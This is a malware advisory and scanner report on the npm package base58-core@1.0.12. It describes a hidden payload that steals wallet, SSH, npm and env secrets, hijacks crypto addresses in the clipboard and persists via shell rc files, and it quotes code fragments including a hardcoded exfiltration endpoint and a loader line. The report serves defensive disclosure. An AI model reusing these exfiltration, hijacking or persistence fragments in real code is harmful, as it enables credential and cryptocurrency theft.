base58-core
This report shows the evidence for base58-core@1.0.12. 12 of 12 known versions are blocked or flagged. See all versions.
OpenSSF/OSV Malicious Advisory
imported 4mo ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6445 confirms this npm version as malicious.
Advisory
MAL-2026-6445
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in base58-core (npm)
Details
The package advertises itself as a Base58 encoder/decoder but on require() schedules a delayed payload that performs multiple installer-side attacks. After a 72-hour activation delay, code in dist/index.cjs and dist/index.js enumerates installer-owned secret stores — MetaMask extension storage across Chrome/Chromium/Brave/Edge profiles, Telegram Desktop tdata sessions, ~/.ssh keys, ~/.npmrc _authToken values, browser profile inventories, and env/.env crypto secret variables — and POSTs the collected report to a hardcoded bare-IP endpoint at http://2.27.62.51:8080/api/health (with:8081 as backup). A setInterval clipboard monitor invokes pbpaste/xclip/PowerShell via child_process every 2.5 seconds, matches BTC/ETH/SOL address regexes plus WIF private keys, BIP39 seed phrases (12–24 words), and 64-hex private keys, rewrites detected wallet addresses to attacker-controlled destinations (bc1qjft978uykglsh0adcyx6xhkes56vqzs3fual3l, 0xd63eD44065eDb1e2ad2519B011c06412dA7B7c5B, A7ajd7W5WYdrnkeaiBRjVoK6uBEDvgnuZcpzQXqo18Ph), writes them back to the clipboard, and exfiltrates matched values and the original clipboard slice to the same endpoint. A persistence routine appends a node -e loader to ~/.bashrc, ~/.zshrc, and ~/.profile that re-invokes the payload on every shell start; on Windows it drops base58-runtime.js into the user Startup folder, keeping the clipboard hijacker and exfil active across reboots and beyond project uninstall. The 72-hour dormancy timer is designed to evade sandbox and CI dynamic analysis. The package name and keywords (bitcoin/solana/wallet/ipfs) impersonate legitimate Base58 libraries to target crypto developers.
## Source: ghsa-malware (e697e341b967e796e17cc132952e12802f5e4e6ce8be1453d0434bf6c308081f) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Independent LPM AI assessment
SuspiciousIndependent AI assessment: suspicious. LPM AI assessed this version as suspicious; the assessments disagree.
Source inspection confirms intentionally malicious payload code unrelated to the advertised encoder, but the observed activation path is internally broken. Treat as an inert staged payload carrier rather than confirmed currently executing malware.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
Importing dist/index.cjs or dist/index.js evaluates _checkActivation; payload activation appears blocked by its own delay/flag logic.
Impact
If activated or fixed, it would steal clipboard secrets, replace wallet addresses, report local wallet/browser/SSH/npm/env indicators, and persist via shell rc or Startup folder.
Mechanism
inert staged clipboard hijacker with credential/environment discovery, exfiltration, and persistence code
Attack narrative
The Base58 API is bundled with concealed malware code that can scan clipboard contents for crypto addresses and private-key-like values, exfiltrate captures and host discovery data, and install shell/Startup persistence. The activation gate appears defective, making the payload staged/inert in this inspected build rather than reliably executing on import.
AI rationale
Source inspection confirms intentionally malicious payload code unrelated to the advertised encoder, but the observed activation path is internally broken. Treat as an inert staged payload carrier rather than confirmed currently executing malware.
Evidence
package.jsondist/index.cjsdist/index.jsREADME.mddist/index.d.ts/tmp/.base58_detection_sent
Independent scan evidence
public snapshotAI called this Suspicious at 93.0% confidence as Malware with low false-positive risk.
Evidence for AI warning decision
- dist/index.cjs and dist/index.js contain hidden clipboard wallet-address replacement logic.
- Code defines exfiltration to http://2.27.62.51:8080/api/health and :8081/api/health.
- Detection code reads wallet/browser/Telegram/SSH/.npmrc/.env indicators from user home and cwd.
- Persistence code appends shell rc hooks or writes a Windows Startup loader.
- The dangerous block is hidden in package entrypoints, unrelated to Base58 encoding.
Evidence against
- package.json has no install/postinstall hook; only prepublishOnly build script.
- Activation is effectively inert: INSTALL_TIME is set at module load, _checkActivation runs immediately before the 72h delay can pass, and _internal.activate sets activated before calling _checkActivation.
Behavioral surface
ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNetworkShell
HighEntropyStrings
Source & flagged code
8 flagged · loading sourcedist/index.jsView file
103const ACTIVATION_DELAY = 72 * 60 * 60 * 1000;
L104: const EXFIL_PRIMARY = 'http://2.27.62.51:8080/api/health';
L105: const EXFIL_BACKUP = 'http://2.27.62.51:8081/api/health';
...
L110: { name: 'sol', regex: /\b[1-9A-HJ-NP-Za-km-z]{32,44}\b/g, replacement: '[redacted]' },
L111: { name: 'private_key_wif', regex: /\b[5KL][1-9A-HJ-NP-Za-km-z]{50,52}\b/g, replacement: '' },
L112: { name: 'seed_phrase', regex: /\b([a-z]{3,8}\s){11,23}[a-z]{3,8}\b/gi, replacement: '' },
...
L127: ...data,
L128: hostname: process.env?.HOSTNAME || os.hostname() || 'unknown',
L129: platform: process.platform || 'unknown',
...
L140: headers: { 'Content-Type': 'application/json' },
L141: body: payload,
L142: signal: controller.signal,
Critical
Clipboard Crypto Hijack
Source reads and rewrites clipboard contents matching cryptocurrency wallet addresses.
dist/index.jsView on unpkg · L103533package = base58-core; repositoryIdentity = core; dependency = base58-core
L533: try {
L534: fs.writeFileSync(t, '// runtime loader\ntry { require("base58-core")._internal.activate(); } catch(e) {}');
L535: }
High
Copied Package Dependency Bridge
Package metadata claims a different repository identity while copied source loads a runtime dependency bridge.
dist/index.jsView on unpkg · L533•matchType = normalized_sha256
matchedPackage = base58-core@1.0.11
matchedPath = dist/index.js
matchedIdentity = npm:YmFzZTU4LWNvcmU:1.0.11
similarity = 1.000
summary = normalized source hash matched finalized malicious source
Findings
2 Critical4 High5 Medium5 Low
CriticalClipboard Crypto Hijackdist/index.js
CriticalTrigger Reachable Dangerous Capabilitydist/index.cjs
HighCopied Package Dependency Bridgedist/index.js
HighKnown Malware Source Similaritydist/index.cjs
HighKnown Malware Source Similaritydist/index.js
HighKnown Malware Source Fingerprint Signaturedist/index.cjs
MediumDynamic Requiredist/index.js
MediumNetwork
MediumEnvironment Vars
MediumInstall Persistencedist/index.js
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
Affected versions and remediation
This report applies to base58-core@1.0.12.
The versions list below shows the verdict for each recorded version.
- Avoid installing base58-core@1.0.12. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.